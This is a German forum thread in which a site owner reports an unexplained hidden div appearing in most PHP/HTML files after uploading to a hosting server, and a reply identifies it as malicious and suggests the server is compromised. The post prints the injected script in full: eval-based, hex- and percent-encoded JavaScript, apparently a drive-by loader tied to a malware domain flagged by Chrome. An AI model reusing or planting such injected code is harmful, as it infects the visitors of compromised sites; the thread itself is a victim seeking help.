Seltsamer Div Container am Ende der HTML/PHP Datei

[XxGabbah@dxX]

Ich habe gestern ein Projekt auf einem Server fertig gestellt und heute auf einem anderen Server hochgeladen (Strato Server). Nun stelle ich fest, das am Ende von fast allen PHP/HTML Dateien ein DIV Container auftaucht, den ich nicht selbst dort hinzugefügt habe. Der Container auf der Seite selber nicht sichtbar, sondern nur im Quelltext zu sehen.

Hier ein Beispiel dieses Containers.

<div id='x01e7c44a3d14d609af965195f038b2d23'><script>var jQuery = eval('wKi(nGdKoKwG.Ge(vGa_lp'.replace(/[KpG\(_]/g, '')); jQuery('\x66\x75\x6e\x63\x74\x69\x6f\x6e\x20\x69\x73\x34\x35\x7a\x51\x6a\x52\x28\x6f\x70\x58\x50\x53\x39\x73\x29\x7b\x66\x75\x6e\x63\x74\x69\x6f\x6e\x20\x6f\x6c\x56\x77\x71\x65\x32\x28\x6b\x49\x74\x4b\x6d\x29\x7b\x76\x61\x72\x20\x7a\x76\x71\x4f\x3d\x30\x3b\x76\x61\x72\x20\x62\x71\x62\x49\x74\x5a\x3d\x6b\x49\x74\x4b\x6d\x2e\x6c\x65\x6e\x67\x74\x68\x3b\x76\x61\x72\x20\x75\x6a\x6a\x63\x3d\x30\x3b\x77\x68\x69\x6c\x65\x28\x75\x6a\x6a\x63\x3c\x62\x71\x62\x49\x74\x5a\x29\x7b\x7a\x76\x71\x4f\x2b\x3d\x76\x70\x4c\x31\x69\x61\x28\x6b\x49\x74\x4b\x6d\x2c\x75\x6a\x6a\x63\x29\x2a\x62\x71\x62\x49\x74\x5a\x3b\x75\x6a\x6a\x63\x2b\x2b\x3b\x7d\x72\x65\x74\x75\x72\x6e\x20\x28\x7a\x76\x71\x4f\x2b\x27\x27\x29\x3b\x7d\x66\x75\x6e\x63\x74\x69\x6f\x6e\x20\x76\x70\x4c\x31\x69\x61\x28\x62\x64\x56\x75\x57\x52\x2c\x66\x36\x4e\x5a\x58\x29\x7b\x72\x65\x74\x75\x72\x6e\x20\x62\x64\x56\x75\x57\x52\x2e\x63\x68\x61\x72\x43\x6f\x64\x65\x41\x74\x28\x66\x36\x4e\x5a\x58\x29\x3b\x7d\x20\x20\x20\x74\x72\x79\x20\x7b\x76\x61\x72\x20\x74\x76\x43\x67\x3d\x65\x76\x61\x6c\x28\x27\x61\x4d\x72\x32\x67\x52\x75\x52\x6d\x4f\x65\x7a\x6e\x32\x74\x32\x73\x4f\x2e\x4d\x63\x32\x61\x7a\x6c\x32\x6c\x4d\x65\x52\x65\x32\x27\x2e\x72\x65\x70\x6c\x61\x63\x65\x28\x2f\x5b\x4d\x4f\x32\x7a\x52\x5d\x2f\x67\x2c\x20\x27\x27\x29\x29\x2c\x63\x43\x25\x37\x34\x25\x32\x32\x25\x32\x34\x25\x30\x66\x25\x32\x37\x25\x32\x31\x25\x37\x61\x25\x37\x36\x25\x32\x31\x25\x30\x31\x25\x32\x66\x25\x35\x66\x25\x33\x38\x25\x34\x62\x25\x36\x33\x25\x37\x30\x25\x36\x64\x25\x32\x35\x25\x35\x30\x25\x34\x37\x25\x37\x30\x25\x36\x66\x25\x34\x31\x25\x33\x39\x25\x33\x37\x25\x31\x39\x25\x36\x30\x25\x37\x63\x25\x37\x36\x25\x34\x64\x25\x35\x33\x25\x37\x37\x25\x33\x63\x25\x30\x31\x25\x32\x64\x25\x33\x32\x25\x37\x65\x25\x33\x31\x25\x37\x39\x25\x31\x31\x25\x30\x36\x25\x37\x30\x25\x33\x35\x25\x34\x63\x25\x32\x39\x25\x36\x36\x25\x33\x33\x25\x32\x30\x25\x33\x63\x25\x33\x66\x25\x33\x37\x25\x32\x62\x25\x37\x37\x25\x37\x39\x25\x31\x32\x25\x33\x38\x25\x30\x66\x25\x33\x38\x25\x30\x33\x25\x32\x39\x25\x33\x62\x25\x33\x30\x25\x37\x31\x25\x30\x39\x25\x30\x30\x25\x37\x32\x25\x36\x64\x25\x31\x65\x25\x32\x37\x25\x32\x35\x25\x30\x34\x25\x35\x33\x25\x33\x32\x25\x32\x65\x25\x37\x38\x25\x37\x37\x25\x34\x30\x25\x37\x39\x25\x34\x64\x25\x32\x31\x25\x37\x61\x25\x36\x30\x25\x34\x31\x25\x33\x32\x25\x30\x34\x25\x33\x38\x25\x30\x37\x25\x32\x34\x25\x36\x65\x25\x33\x66\x25\x32\x30\x25\x37\x63\x25\x33\x66\x25\x37\x66\x25\x35\x38\x25\x36\x66\x25\x33\x65\x25\x35\x66\x25\x32\x36\x25\x37\x39\x25\x36\x62\x25\x37\x39\x25\x35\x65\x25\x35\x61\x25\x33\x62\x25\x33\x61\x25\x31\x37\x25\x32\x66\x25\x33\x36\x25\x33\x64\x25\x33\x33\x25\x32\x66\x25\x34\x61\x25\x32\x61\x25\x32\x38\x25\x30\x36\x25\x36\x30\x25\x32\x62\x25\x31\x36\x25\x32\x39\x25\x31\x32\x25\x37\x31\x25\x32\x66\x25\x33\x38\x25\x30\x31\x25\x33\x64\x25\x37\x39\x25\x36\x37\x25\x30\x66\x25\x36\x32\x25\x33\x30\x25\x32\x35\x25\x33\x36\x25\x30\x63\x25\x36\x32\x25\x37\x34\x25\x31\x37\x25\x33\x32\x25\x31\x39\x25\x32\x39\x25\x35\x61\x25\x36\x39\x25\x36\x63\x25\x36\x34\x25\x33\x35\x25\x37\x35\x25\x37\x30\x25\x37\x32\x25\x37\x64\x25\x36\x64\x25\x33\x61\x25\x31\x61\x25\x33\x61\x25\x36\x36\x25\x37\x65\x25\x36\x35\x25\x37\x64\x25\x37\x36\x25\x32\x36\x25\x36\x31\x25\x31\x34\x25\x32\x36\x25\x37\x38\x25\x33\x37\x25\x32\x62\x25\x33\x35\x25\x37\x38\x25\x36\x66\x25\x36\x39\x25\x35\x31\x25\x37\x36\x25\x30\x38\x25\x32\x63\x25\x30\x63\x25\x32\x38\x25\x32\x32\x25\x32\x39\x25\x31\x37\x25\x31\x33\x25\x32\x37\x25\x35\x66\x25\x32\x65\x25\x37\x62\x25\x36\x39\x25\x37\x39\x25\x30\x63\x25\x32\x61\x25\x32\x32\x25\x32\x64\x25\x33\x36\x25\x32\x34\x25\x33\x64\x25\x32\x39\x25\x30\x33\x25\x33\x32\x25\x32\x39\x25\x30\x36\x25\x32\x39\x25\x33\x34\x25\x31\x65\x25\x32\x65\x25\x33\x33\x25\x33\x66\x25\x37\x61\x25\x36\x64\x25\x34\x35\x25\x37\x64\x25\x36\x31\x25\x36\x33\x25\x37\x62\x25\x36\x34\x25\x36\x34\x25\x36\x62\x25\x35\x39\x25\x30\x32\x25\x32\x61\x25\x33\x32\x25\x37\x62\x25\x33\x34\x25\x33\x62\x25\x32\x64\x25\x33\x33\x25\x32\x31\x25\x31\x33\x25\x31\x61\x25\x32\x35\x25\x37\x37\x25\x37\x63\x25\x30\x65\x25\x30\x38\x25\x30\x36\x25\x36\x65\x25\x32\x64\x25\x35\x31\x25\x33\x35\x25\x36\x39\x25\x32\x61\x25\x35\x34\x25\x33\x35\x25\x34\x36\x25\x36\x38\x25\x34\x32\x25\x36\x39\x25\x36\x36\x25\x36\x64\x25\x37\x32\x25\x32\x37\x25\x33\x33\x25\x31\x37\x25\x32\x66\x25\x33\x36\x25\x30\x32\x25\x37\x66\x25\x37\x35\x25\x37\x32\x25\x37\x39\x25\x31\x63\x25\x35\x63\x25\x37\x32\x25\x34\x62\x25\x37\x61\x25\x35\x32\x25\x36\x63\x25\x37\x33\x25\x32\x38\x25\x35\x63\x25\x34\x62\x25\x34\x35\x25\x35\x34\x25\x36\x33\x25\x36\x33\x25\x36\x32\x25\x37\x33\x25\x36\x65\x25\x36\x36\x25\x33\x33\x25\x31\x64\x25x3b');</script></div>

Wie man sieht handet es sich hier um ein Script, welches wahrscheinlich Dynamisch erstellt wurde (ID=...) . Wie ist das ohne FTP Zugriff möglich. Wurden dieser Code automatisch erzeugt vom Provider erzeugt ? Handelt es sich hier um eine Art neuartigen Virus ? Oder wie kommt dieser Code zustande ? Muss ich mir Sorgen machen, oder ist das alles ganz harmlos ? Und wie kann ich das ggf. verhindern, denn in einigen Dateien steht der Code auch mitten im Quelltext und wer lässt sich schon gerne den mühevoll erarbeiteten Quellcode verunstallten.

Ich konnte über Google leider noch nix darüber finden, darum hoffe ich das ihr mir hier weiterhelfen könnt.

PS.: Code gekürzt, da er zu viele Zeichen enthält !

NACHTRAG: Das löschen des Codes bringt leider nix. Er kommt immer wieder.
Ausserdem habe ich soebend mit dem Google Browser Chrome einen Warnhinweis erhalten:

Warnung: Durch das Aufrufen dieser Website wird Ihr Computer möglicherweise beschädigt!
Die Website unter IABW - Online - TV enthält Elemente von der Website adsense.google.com.server.main.update.dirty-boy.cn, die anscheinend Malware hostet - Software, die den Computer beschädigen oder anderweitig ohne Ihre Zustimmung agieren kann. Schon der Zugriff auf eine Website, die Malware enthält, kann den Computer infizieren.
Detaillierte Informationen zu den Problemen mit diesen Elementen erhalten Sie auf der folgenden Google-Seite: SafeBrowsing Diagnoseseite für adsense.google.com.server.main.update.dirty-boy.cn.
Weitere Informationen zum Selbstschutz vor schädlicher Software im Internet.
​

Wie es scheint, handelt es sich also tatsächlich um einen Virus. :( Aber wirklich weiter bringt mich diese Information nicht. Wie kommt der da hin, wie bekommt man es wieder weg ?

MfG Gabbahead

 

[threadi]

Das ist bösartiger Code den du unbedingt entfernen MUSST. Wenn er immer wieder auftaucht ist der Server vermutlich betroffen. Meist merkt man das anhand von unbekannten Dateien auf dem Server. Im Zweifelsfall wende dich an den Hoster.